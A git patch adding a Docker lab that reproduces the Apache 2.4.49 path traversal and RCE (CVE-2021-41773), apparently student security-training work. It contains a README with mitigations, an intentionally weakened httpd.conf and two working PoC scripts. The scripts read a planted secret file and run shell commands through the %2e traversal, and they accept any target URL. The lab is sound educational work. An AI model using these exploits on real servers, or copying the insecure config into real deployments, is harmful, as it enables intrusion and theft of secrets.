From 83cd3e22d8611d9aff8e98f17a2e1a4ffd16f0fc Mon Sep 17 00:00:00 2001 From: jiy2745 Date: Sun, 12 Jul 2026 23:33:06 +0900 Subject: [PATCH] feat: add CVE-2021-41773 --- Apache/CVE-2021-41773/.env | 1 + Apache/CVE-2021-41773/README.md | 125 +++++ Apache/CVE-2021-41773/conf/httpd.conf | 565 +++++++++++++++++++++++ Apache/CVE-2021-41773/docker-compose.yml | 8 + Apache/CVE-2021-41773/poc/lfi.py | 17 + Apache/CVE-2021-41773/poc/rce.py | 20 + Apache/CVE-2021-41773/screenshot.png | Bin 0 -> 56631 bytes 7 files changed, 736 insertions(+) create mode 100644 Apache/CVE-2021-41773/.env create mode 100644 Apache/CVE-2021-41773/README.md create mode 100644 Apache/CVE-2021-41773/conf/httpd.conf create mode 100644 Apache/CVE-2021-41773/docker-compose.yml create mode 100644 Apache/CVE-2021-41773/poc/lfi.py create mode 100644 Apache/CVE-2021-41773/poc/rce.py create mode 100644 Apache/CVE-2021-41773/screenshot.png diff --git a/Apache/CVE-2021-41773/.env b/Apache/CVE-2021-41773/.env new file mode 100644 index 000000000..aafa27d30 --- /dev/null +++ b/Apache/CVE-2021-41773/.env @@ -0,0 +1 @@ +SECRET_API_KEY=tIkC5I31vfBjNUNWuYrGChoyZv170UxYLoC+Mst14M0= \ No newline at end of file diff --git a/Apache/CVE-2021-41773/README.md b/Apache/CVE-2021-41773/README.md new file mode 100644 index 000000000..a3d2fc9c0 --- /dev/null +++ b/Apache/CVE-2021-41773/README.md @@ -0,0 +1,125 @@ +# Apache HTTP Server 2.4.49 Path Traversal & RCE (CVE-2021-41773) + +**화이트햇 스쿨 4기 조인영** + +## 1. 취약점 요약 + +| 항목 | 내용 | +| --- | ------------------------- | +| CVE | CVE-2021-41773 | +| 대상 | Apache HTTP Server 2.4.49 | +| 유형 | Path Traversal | + +Apache HTTP Server 2.4.49에 도입된 경로 정규화 로직 변경에 +결함이 있어 발생하는 취약점입니다. URL 경로 안의 `.` 를 퍼센트 인코딩한 `%2e` 를 사용하면 +Apache가 이를 정규화하지 못하고 `../` 로 해석하여, `Alias` 또는 `ScriptAlias` 로 매핑된 상위 디렉토리의 파일에 접근할 수 있습니다. + +- 대상 파일에 접근 권한이 있으면 **Arbitrary File Read** (비밀키 등)이 가능합니다. +- 매핑된 경로가 CGI 실행 경로라면 디렉토리를 탈출해 시스템 쉘에 도달시켜 + **RCE**까지 가능합니다. + +## 2. 환경 구성 + +``` +Apache/CVE-2021-41773/ +├── docker-compose.yml +├── conf/ +│ └── httpd.conf +├── poc/ +│ ├── lfi.py +│ └── rce.py +├── .env +└── README.md +``` + +- Apache HTTP Server 2.4.49 (취약한 버전의 Apache HTTP Server) 이미지를 사용했습니다. (`httpd:2.4.49`) +- `conf` 폴더에 `httpd.conf`를 넣어 파일을 읽고 실행하는 환경을 구성했습니다. +- `poc` 폴더에 PoC 스크립트를 작성했습니다. +- `.env` 파일에 API 키를 넣어 API 키를 탈취하는 시나리오를 가정했습니다. + +## 3. 취약 조건 + +`conf/httpd.conf`를 기본 파일에서 조금 변경했습니다. CVE 자체는 이 설정 없이도 작동하지만, 실제 파일을 읽거나 실행하려면 다음의 조건들이 필요합니다. + +| | 설정 | 기본값 | 변경 | 역할 | +| --- | ---------------------------------- | ------------ | ------------- | ------------------------------------------------------------------------ | +| 1 | `` 의 `Require` | `all denied` | `all granted` | Traversal 로 도달한 파일시스템 루트 하위 파일에 접근을 허용합니다. | +| 2 | `LoadModule cgid_module` | 주석 처리 | 활성 | 도달한 `/bin/sh`를 CGI 로 실행해서 RCE를 할 수 있게 만듭니다. | +| 3 | `Include .../httpd-autoindex.conf` | 주석 처리 | 활성 | `Alias /icons/ "/usr/local/apache2/icons/"` 매핑을 제공해 Traversal 시작점을 확보합니다. | + +## 4. 재현 절차 + +재현 전, Docker와 Python을 설치해야 합니다. + +```bash +pip install requests +cd Apache/CVE-2021-41773 +docker compose up -d +python poc/lfi.py +python poc/rce.py +docker compose down +``` + +`docker compose up -d` 으로 서버를 킨 다음, 두 개의 PoC 코드를 실행한 후 `docker compose down`로 서버를 닫습니다. + +## 5. PoC 코드 + +`poc/lfi.py` +```python +import sys +import requests + +BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://localhost:8080' + +def raw_get(path): + prepared = requests.Request('GET', BASE + path).prepare() + prepared.url = BASE + path + return requests.Session().send(prepared, timeout=10) + +def main(): + print(f'[*] Target: {BASE}') + print(f'[*] Read .env file') + print(raw_get('/icons/.%2e/.%2e/.%2e/.%2e/.env').text.rstrip()) + +if __name__ == '__main__': + main() +``` + +`.%2e`를 이용해 Path Traversal을 일으켜 `.env` 파일을 읽어 API 키를 탈취합니다. + +`poc/rce.py` +```python +import sys +import requests + +BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://localhost:8080' +SH_PATH = '/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' + +def run(cmd): + body = f'echo Content-Type: text/plain; echo; {cmd}' + prepared = requests.Request('POST', BASE + SH_PATH, data=body).prepare() + prepared.url = BASE + SH_PATH + return requests.Session().send(prepared, timeout=10).text + +def main(): + print(f'[*] Target: {BASE}') + print('[*] Run "id" and "uname -a; whoami"') + print(run('id').rstrip()) + print(run('uname -a; whoami').rstrip()) + +if __name__ == '__main__': + main() +``` + +마찬가지로 `.%2e`를 이용해 Path Traversal을 일으켜 `/bin/sh`에 도달해 `id`와 `uname -a; whoami` 명령을 실행시킵니다. + +## 6. 실행 결과 + +![](screenshot.png) + +`.env` 파일을 읽어 시크릿 키를 유출하고, RCE까지 성공해 `id`와 `uname -a; whoami` 명령을 실행한 것을 확인할 수 있습니다. + +## 7. 대응 방안 + +- **버전 업그레이드:** 취약한 2.4.49 버전에서 최신 버전으로 업그레이드합니다. +- **불필요한 권한 비활성화:** `httpd.conf`에서 불필요한 권한을 비활성화하여, 공격자가 취약점을 통해서 Arbitrary File Read나 RCE를 하지 못하게 합니다. diff --git a/Apache/CVE-2021-41773/conf/httpd.conf b/Apache/CVE-2021-41773/conf/httpd.conf new file mode 100644 index 000000000..277b1c2e6 --- /dev/null +++ b/Apache/CVE-2021-41773/conf/httpd.conf @@ -0,0 +1,565 @@ +# +# This is the main Apache HTTP server configuration file. It contains the +# configuration directives that give the server its instructions. +# See for detailed information. +# In particular, see +# +# for a discussion of each configuration directive. +# +# Do NOT simply read the instructions in here without understanding +# what they do. They're here only as hints or reminders. If you are unsure +# consult the online docs. You have been warned. +# +# Configuration and logfile names: If the filenames you specify for many +# of the server's control files begin with "/" (or "drive:/" for Win32), the +# server will use that explicit path. If the filenames do *not* begin +# with "/", the value of ServerRoot is prepended -- so "logs/access_log" +# with ServerRoot set to "/usr/local/apache2" will be interpreted by the +# server as "/usr/local/apache2/logs/access_log", whereas "/logs/access_log" +# will be interpreted as '/logs/access_log'. + +# +# ServerRoot: The top of the directory tree under which the server's +# configuration, error, and log files are kept. +# +# Do not add a slash at the end of the directory path. If you point +# ServerRoot at a non-local disk, be sure to specify a local disk on the +# Mutex directive, if file-based mutexes are used. If you wish to share the +# same ServerRoot for multiple httpd daemons, you will need to change at +# least PidFile. +# +ServerRoot "/usr/local/apache2" + +# +# Mutex: Allows you to set the mutex mechanism and mutex file directory +# for individual mutexes, or change the global defaults +# +# Uncomment and change the directory if mutexes are file-based and the default +# mutex file directory is not on a local disk or is not appropriate for some +# other reason. +# +# Mutex default:logs + +# +# Listen: Allows you to bind Apache to specific IP addresses and/or +# ports, instead of the default. See also the +# directive. +# +# Change this to Listen on specific IP addresses as shown below to +# prevent Apache from glomming onto all bound IP addresses. +# +#Listen 12.34.56.78:80 +Listen 80 + +# +# Dynamic Shared Object (DSO) Support +# +# To be able to use the functionality of a module which was built as a DSO you +# have to place corresponding `LoadModule' lines at this location so the +# directives contained in it are actually available _before_ they are used. +# Statically compiled modules (those listed by `httpd -l') do not need +# to be loaded here. +# +# Example: +# LoadModule foo_module modules/mod_foo.so +# +LoadModule mpm_event_module modules/mod_mpm_event.so +#LoadModule mpm_prefork_module modules/mod_mpm_prefork.so +#LoadModule mpm_worker_module modules/mod_mpm_worker.so +LoadModule authn_file_module modules/mod_authn_file.so +#LoadModule authn_dbm_module modules/mod_authn_dbm.so +#LoadModule authn_anon_module modules/mod_authn_anon.so +#LoadModule authn_dbd_module modules/mod_authn_dbd.so +#LoadModule authn_socache_module modules/mod_authn_socache.so +LoadModule authn_core_module modules/mod_authn_core.so +LoadModule authz_host_module modules/mod_authz_host.so +LoadModule authz_groupfile_module modules/mod_authz_groupfile.so +LoadModule authz_user_module modules/mod_authz_user.so +#LoadModule authz_dbm_module modules/mod_authz_dbm.so +#LoadModule authz_owner_module modules/mod_authz_owner.so +#LoadModule authz_dbd_module modules/mod_authz_dbd.so +LoadModule authz_core_module modules/mod_authz_core.so +#LoadModule authnz_ldap_module modules/mod_authnz_ldap.so +#LoadModule authnz_fcgi_module modules/mod_authnz_fcgi.so +LoadModule access_compat_module modules/mod_access_compat.so +LoadModule auth_basic_module modules/mod_auth_basic.so +#LoadModule auth_form_module modules/mod_auth_form.so +#LoadModule auth_digest_module modules/mod_auth_digest.so +#LoadModule allowmethods_module modules/mod_allowmethods.so +#LoadModule isapi_module modules/mod_isapi.so +#LoadModule file_cache_module modules/mod_file_cache.so +#LoadModule cache_module modules/mod_cache.so +#LoadModule cache_disk_module modules/mod_cache_disk.so +#LoadModule cache_socache_module modules/mod_cache_socache.so +#LoadModule socache_shmcb_module modules/mod_socache_shmcb.so +#LoadModule socache_dbm_module modules/mod_socache_dbm.so +#LoadModule socache_memcache_module modules/mod_socache_memcache.so +#LoadModule socache_redis_module modules/mod_socache_redis.so +#LoadModule watchdog_module modules/mod_watchdog.so +#LoadModule macro_module modules/mod_macro.so +#LoadModule dbd_module modules/mod_dbd.so +#LoadModule bucketeer_module modules/mod_bucketeer.so +#LoadModule dumpio_module modules/mod_dumpio.so +#LoadModule echo_module modules/mod_echo.so +#LoadModule example_hooks_module modules/mod_example_hooks.so +#LoadModule case_filter_module modules/mod_case_filter.so +#LoadModule case_filter_in_module modules/mod_case_filter_in.so +#LoadModule example_ipc_module modules/mod_example_ipc.so +#LoadModule buffer_module modules/mod_buffer.so +#LoadModule data_module modules/mod_data.so +#LoadModule ratelimit_module modules/mod_ratelimit.so +LoadModule reqtimeout_module modules/mod_reqtimeout.so +#LoadModule ext_filter_module modules/mod_ext_filter.so +#LoadModule request_module modules/mod_request.so +#LoadModule include_module modules/mod_include.so +LoadModule filter_module modules/mod_filter.so +#LoadModule reflector_module modules/mod_reflector.so +#LoadModule substitute_module modules/mod_substitute.so +#LoadModule sed_module modules/mod_sed.so +#LoadModule charset_lite_module modules/mod_charset_lite.so +#LoadModule deflate_module modules/mod_deflate.so +#LoadModule xml2enc_module modules/mod_xml2enc.so +#LoadModule proxy_html_module modules/mod_proxy_html.so +#LoadModule brotli_module modules/mod_brotli.so +LoadModule mime_module modules/mod_mime.so +#LoadModule ldap_module modules/mod_ldap.so +LoadModule log_config_module modules/mod_log_config.so +#LoadModule log_debug_module modules/mod_log_debug.so +#LoadModule log_forensic_module modules/mod_log_forensic.so +#LoadModule logio_module modules/mod_logio.so +#LoadModule lua_module modules/mod_lua.so +LoadModule env_module modules/mod_env.so +#LoadModule mime_magic_module modules/mod_mime_magic.so +#LoadModule cern_meta_module modules/mod_cern_meta.so +#LoadModule expires_module modules/mod_expires.so +LoadModule headers_module modules/mod_headers.so +#LoadModule ident_module modules/mod_ident.so +#LoadModule usertrack_module modules/mod_usertrack.so +#LoadModule unique_id_module modules/mod_unique_id.so +LoadModule setenvif_module modules/mod_setenvif.so +LoadModule version_module modules/mod_version.so +#LoadModule remoteip_module modules/mod_remoteip.so +#LoadModule proxy_module modules/mod_proxy.so +#LoadModule proxy_connect_module modules/mod_proxy_connect.so +#LoadModule proxy_ftp_module modules/mod_proxy_ftp.so +#LoadModule proxy_http_module modules/mod_proxy_http.so +#LoadModule proxy_fcgi_module modules/mod_proxy_fcgi.so +#LoadModule proxy_scgi_module modules/mod_proxy_scgi.so +#LoadModule proxy_uwsgi_module modules/mod_proxy_uwsgi.so +#LoadModule proxy_fdpass_module modules/mod_proxy_fdpass.so +#LoadModule proxy_wstunnel_module modules/mod_proxy_wstunnel.so +#LoadModule proxy_ajp_module modules/mod_proxy_ajp.so +#LoadModule proxy_balancer_module modules/mod_proxy_balancer.so +#LoadModule proxy_express_module modules/mod_proxy_express.so +#LoadModule proxy_hcheck_module modules/mod_proxy_hcheck.so +#LoadModule session_module modules/mod_session.so +#LoadModule session_cookie_module modules/mod_session_cookie.so +#LoadModule session_crypto_module modules/mod_session_crypto.so +#LoadModule session_dbd_module modules/mod_session_dbd.so +#LoadModule slotmem_shm_module modules/mod_slotmem_shm.so +#LoadModule slotmem_plain_module modules/mod_slotmem_plain.so +#LoadModule ssl_module modules/mod_ssl.so +#LoadModule optional_hook_export_module modules/mod_optional_hook_export.so +#LoadModule optional_hook_import_module modules/mod_optional_hook_import.so +#LoadModule optional_fn_import_module modules/mod_optional_fn_import.so +#LoadModule optional_fn_export_module modules/mod_optional_fn_export.so +#LoadModule dialup_module modules/mod_dialup.so +#LoadModule http2_module modules/mod_http2.so +#LoadModule proxy_http2_module modules/mod_proxy_http2.so +#LoadModule md_module modules/mod_md.so +#LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so +#LoadModule lbmethod_bytraffic_module modules/mod_lbmethod_bytraffic.so +#LoadModule lbmethod_bybusyness_module modules/mod_lbmethod_bybusyness.so +#LoadModule lbmethod_heartbeat_module modules/mod_lbmethod_heartbeat.so +LoadModule unixd_module modules/mod_unixd.so +#LoadModule heartbeat_module modules/mod_heartbeat.so +#LoadModule heartmonitor_module modules/mod_heartmonitor.so +#LoadModule dav_module modules/mod_dav.so +LoadModule status_module modules/mod_status.so +LoadModule autoindex_module modules/mod_autoindex.so +#LoadModule asis_module modules/mod_asis.so +#LoadModule info_module modules/mod_info.so +#LoadModule suexec_module modules/mod_suexec.so +# === CVE-2021-41773 취약 조건 (2/3) === +# RCE 시연용. 기본값은 주석 처리(비활성)이다. cgid 모듈을 켜야 traversal 로 +# 도달한 /bin/sh 가 CGI 로 실행되어 파일 유출이 원격 명령 실행으로 확장된다. +# (기본 이미지는 mpm_event 이므로 cgid_module 경로가 사용된다.) + + LoadModule cgid_module modules/mod_cgid.so + + + #LoadModule cgi_module modules/mod_cgi.so + +#LoadModule dav_fs_module modules/mod_dav_fs.so +#LoadModule dav_lock_module modules/mod_dav_lock.so +#LoadModule vhost_alias_module modules/mod_vhost_alias.so +#LoadModule negotiation_module modules/mod_negotiation.so +LoadModule dir_module modules/mod_dir.so +#LoadModule imagemap_module modules/mod_imagemap.so +#LoadModule actions_module modules/mod_actions.so +#LoadModule speling_module modules/mod_speling.so +#LoadModule userdir_module modules/mod_userdir.so +LoadModule alias_module modules/mod_alias.so +#LoadModule rewrite_module modules/mod_rewrite.so + + +# +# If you wish httpd to run as a different user or group, you must run +# httpd as root initially and it will switch. +# +# User/Group: The name (or #number) of the user/group to run httpd as. +# It is usually good practice to create a dedicated user and group for +# running httpd, as with most system services. +# +User daemon +Group daemon + + + +# 'Main' server configuration +# +# The directives in this section set up the values used by the 'main' +# server, which responds to any requests that aren't handled by a +# definition. These values also provide defaults for +# any containers you may define later in the file. +# +# All of these directives may appear inside containers, +# in which case these default settings will be overridden for the +# virtual host being defined. +# + +# +# ServerAdmin: Your address, where problems with the server should be +# e-mailed. This address appears on some server-generated pages, such +# as error documents. e.g. admin@your-domain.com +# +ServerAdmin you@example.com + +# +# ServerName gives the name and port that the server uses to identify itself. +# This can often be determined automatically, but we recommend you specify +# it explicitly to prevent problems during startup. +# +# If your host doesn't have a registered DNS name, enter its IP address here. +# +#ServerName www.example.com:80 + +# +# Deny access to the entirety of your server's filesystem. You must +# explicitly permit access to web content directories in other +# blocks below. +# +# === CVE-2021-41773 취약 조건 (1/3) === +# 기본값은 `Require all denied` 이다. 이를 `Require all granted` 로 변경하면 +# 경로 정규화 버그(%2e 우회)로 alias 밖으로 탈출한 요청이 파일시스템 루트('/') +# 아래 파일에 실제로 접근할 수 있게 된다. (denied 상태에서는 traversal 이 뚫려도 403) +# CVE 의 본질은 이 설정이 아니라 mod_core 의 경로 정규화 결함이며, 이 설정은 +# "유출 대상 파일에 접근이 허용된" 흔한 실운영 조건을 재현하기 위한 것이다. + + AllowOverride none + Require all granted + + +# +# Note that from this point forward you must specifically allow +# particular features to be enabled - so if something's not working as +# you might expect, make sure that you have specifically enabled it +# below. +# + +# +# DocumentRoot: The directory out of which you will serve your +# documents. By default, all requests are taken from this directory, but +# symbolic links and aliases may be used to point to other locations. +# +DocumentRoot "/usr/local/apache2/htdocs" + + # + # Possible values for the Options directive are "None", "All", + # or any combination of: + # Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews + # + # Note that "MultiViews" must be named *explicitly* --- "Options All" + # doesn't give it to you. + # + # The Options directive is both complicated and important. Please see + # http://httpd.apache.org/docs/2.4/mod/core.html#options + # for more information. + # + Options Indexes FollowSymLinks + + # + # AllowOverride controls what directives may be placed in .htaccess files. + # It can be "All", "None", or any combination of the keywords: + # AllowOverride FileInfo AuthConfig Limit + # + AllowOverride None + + # + # Controls who can get stuff from this server. + # + Require all granted + + +# +# DirectoryIndex: sets the file that Apache will serve if a directory +# is requested. +# + + DirectoryIndex index.html + + +# +# The following lines prevent .htaccess and .htpasswd files from being +# viewed by Web clients. +# + + Require all denied + + +# +# ErrorLog: The location of the error log file. +# If you do not specify an ErrorLog directive within a +# container, error messages relating to that virtual host will be +# logged here. If you *do* define an error logfile for a +# container, that host's errors will be logged there and not here. +# +ErrorLog /proc/self/fd/2 + +# +# LogLevel: Control the number of messages logged to the error_log. +# Possible values include: debug, info, notice, warn, error, crit, +# alert, emerg. +# +LogLevel warn + + + # + # The following directives define some format nicknames for use with + # a CustomLog directive (see below). + # + LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined + LogFormat "%h %l %u %t \"%r\" %>s %b" common + + + # You need to enable mod_logio.c to use %I and %O + LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %I %O" combinedio + + + # + # The location and format of the access logfile (Common Logfile Format). + # If you do not define any access logfiles within a + # container, they will be logged here. Contrariwise, if you *do* + # define per- access logfiles, transactions will be + # logged therein and *not* in this file. + # + CustomLog /proc/self/fd/1 common + + # + # If you prefer a logfile with access, agent, and referer information + # (Combined Logfile Format) you can use the following directive. + # + #CustomLog "logs/access_log" combined + + + + # + # Redirect: Allows you to tell clients about documents that used to + # exist in your server's namespace, but do not anymore. The client + # will make a new request for the document at its new location. + # Example: + # Redirect permanent /foo http://www.example.com/bar + + # + # Alias: Maps web paths into filesystem paths and is used to + # access content that does not live under the DocumentRoot. + # Example: + # Alias /webpath /full/filesystem/path + # + # If you include a trailing / on /webpath then the server will + # require it to be present in the URL. You will also likely + # need to provide a section to allow access to + # the filesystem path. + + # + # ScriptAlias: This controls which directories contain server scripts. + # ScriptAliases are essentially the same as Aliases, except that + # documents in the target directory are treated as applications and + # run by the server when requested rather than as documents sent to the + # client. The same rules about trailing "/" apply to ScriptAlias + # directives as to Alias. + # + ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" + + + + + # + # ScriptSock: On threaded servers, designate the path to the UNIX + # socket used to communicate with the CGI daemon of mod_cgid. + # + #Scriptsock cgisock + + +# +# "/usr/local/apache2/cgi-bin" should be changed to whatever your ScriptAliased +# CGI directory exists, if you have that configured. +# + + AllowOverride None + Options None + Require all granted + + + + # + # Avoid passing HTTP_PROXY environment to CGI's on this or any proxied + # backend servers which have lingering "httpoxy" defects. + # 'Proxy' request header is undefined by the IETF, not listed by IANA + # + RequestHeader unset Proxy early + + + + # + # TypesConfig points to the file containing the list of mappings from + # filename extension to MIME-type. + # + TypesConfig conf/mime.types + + # + # AddType allows you to add to or override the MIME configuration + # file specified in TypesConfig for specific file types. + # + #AddType application/x-gzip .tgz + # + # AddEncoding allows you to have certain browsers uncompress + # information on the fly. Note: Not all browsers support this. + # + #AddEncoding x-compress .Z + #AddEncoding x-gzip .gz .tgz + # + # If the AddEncoding directives above are commented-out, then you + # probably should define those extensions to indicate media types: + # + AddType application/x-compress .Z + AddType application/x-gzip .gz .tgz + + # + # AddHandler allows you to map certain file extensions to "handlers": + # actions unrelated to filetype. These can be either built into the server + # or added with the Action directive (see below) + # + # To use CGI scripts outside of ScriptAliased directories: + # (You will also need to add "ExecCGI" to the "Options" directive.) + # + #AddHandler cgi-script .cgi + + # For type maps (negotiated resources): + #AddHandler type-map var + + # + # Filters allow you to process content before it is sent to the client. + # + # To parse .shtml files for server-side includes (SSI): + # (You will also need to add "Includes" to the "Options" directive.) + # + #AddType text/html .shtml + #AddOutputFilter INCLUDES .shtml + + +# +# The mod_mime_magic module allows the server to use various hints from the +# contents of the file itself to determine its type. The MIMEMagicFile +# directive tells the module where the hint definitions are located. +# +#MIMEMagicFile conf/magic + +# +# Customizable error responses come in three flavors: +# 1) plain text 2) local redirects 3) external redirects +# +# Some examples: +#ErrorDocument 500 "The server made a boo boo." +#ErrorDocument 404 /missing.html +#ErrorDocument 404 "/cgi-bin/missing_handler.pl" +#ErrorDocument 402 http://www.example.com/subscription_info.html +# + +# +# MaxRanges: Maximum number of Ranges in a request before +# returning the entire resource, or one of the special +# values 'default', 'none' or 'unlimited'. +# Default setting is to accept 200 Ranges. +#MaxRanges unlimited + +# +# EnableMMAP and EnableSendfile: On systems that support it, +# memory-mapping or the sendfile syscall may be used to deliver +# files. This usually improves server performance, but must +# be turned off when serving from networked-mounted +# filesystems or if support for these functions is otherwise +# broken on your system. +# Defaults: EnableMMAP On, EnableSendfile Off +# +#EnableMMAP off +#EnableSendfile on + +# Supplemental configuration +# +# The configuration files in the conf/extra/ directory can be +# included to add extra features or to modify the default configuration of +# the server, or you may simply copy their contents here and change as +# necessary. + +# Server-pool management (MPM specific) +#Include conf/extra/httpd-mpm.conf + +# Multi-language error messages +#Include conf/extra/httpd-multilang-errordoc.conf + +# === CVE-2021-41773 취약 조건 (3/3) === +# 기본값은 주석 처리되어 있다. 이 include 를 켜면 `Alias /icons/ ...` 매핑이 +# 생겨 traversal 의 시작점(파일시스템 경로로 매핑된 URL prefix)이 확보된다. +# ScriptAlias /cgi-bin/ 은 기본 활성이라 RCE 시작점은 별도 설정이 필요 없다. +# Fancy directory listings +Include conf/extra/httpd-autoindex.conf + +# Language settings +#Include conf/extra/httpd-languages.conf + +# User home directories +#Include conf/extra/httpd-userdir.conf + +# Real-time info on requests and configuration +#Include conf/extra/httpd-info.conf + +# Virtual hosts +#Include conf/extra/httpd-vhosts.conf + +# Local access to the Apache HTTP Server Manual +#Include conf/extra/httpd-manual.conf + +# Distributed authoring and versioning (WebDAV) +#Include conf/extra/httpd-dav.conf + +# Various default settings +#Include conf/extra/httpd-default.conf + +# Configure mod_proxy_html to understand HTML4/XHTML1 + +Include conf/extra/proxy-html.conf + + +# Secure (SSL/TLS) connections +#Include conf/extra/httpd-ssl.conf +# +# Note: The following must must be present to support +# starting without SSL on platforms with no /dev/random equivalent +# but a statically compiled-in mod_ssl. +# + +SSLRandomSeed startup builtin +SSLRandomSeed connect builtin + + diff --git a/Apache/CVE-2021-41773/docker-compose.yml b/Apache/CVE-2021-41773/docker-compose.yml new file mode 100644 index 000000000..77173a7d7 --- /dev/null +++ b/Apache/CVE-2021-41773/docker-compose.yml @@ -0,0 +1,8 @@ +services: + apache: + image: httpd:2.4.49 + ports: + - "8080:80" + volumes: + - ./conf/httpd.conf:/usr/local/apache2/conf/httpd.conf:ro + - ./.env:/.env:ro diff --git a/Apache/CVE-2021-41773/poc/lfi.py b/Apache/CVE-2021-41773/poc/lfi.py new file mode 100644 index 000000000..816dd20b7 --- /dev/null +++ b/Apache/CVE-2021-41773/poc/lfi.py @@ -0,0 +1,17 @@ +import sys +import requests + +BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://localhost:8080' + +def raw_get(path): + prepared = requests.Request('GET', BASE + path).prepare() + prepared.url = BASE + path + return requests.Session().send(prepared, timeout=10) + +def main(): + print(f'[*] Target: {BASE}') + print(f'[*] Read .env file') + print(raw_get('/icons/.%2e/.%2e/.%2e/.%2e/.env').text.rstrip()) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/Apache/CVE-2021-41773/poc/rce.py b/Apache/CVE-2021-41773/poc/rce.py new file mode 100644 index 000000000..0fe56038e --- /dev/null +++ b/Apache/CVE-2021-41773/poc/rce.py @@ -0,0 +1,20 @@ +import sys +import requests + +BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://localhost:8080' +SH_PATH = '/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' + +def run(cmd): + body = f'echo Content-Type: text/plain; echo; {cmd}' + prepared = requests.Request('POST', BASE + SH_PATH, data=body).prepare() + prepared.url = BASE + SH_PATH + return requests.Session().send(prepared, timeout=10).text + +def main(): + print(f'[*] Target: {BASE}') + print('[*] Run "id" and "uname -a; whoami"') + print(run('id').rstrip()) + print(run('uname -a; whoami').rstrip()) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/Apache/CVE-2021-41773/screenshot.png b/Apache/CVE-2021-41773/screenshot.png new file mode 100644 index 0000000000000000000000000000000000000000..b2b62dd47d6cc28c3c2b25a9a759b9c0a2eeb778 GIT binary patch literal 56631 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 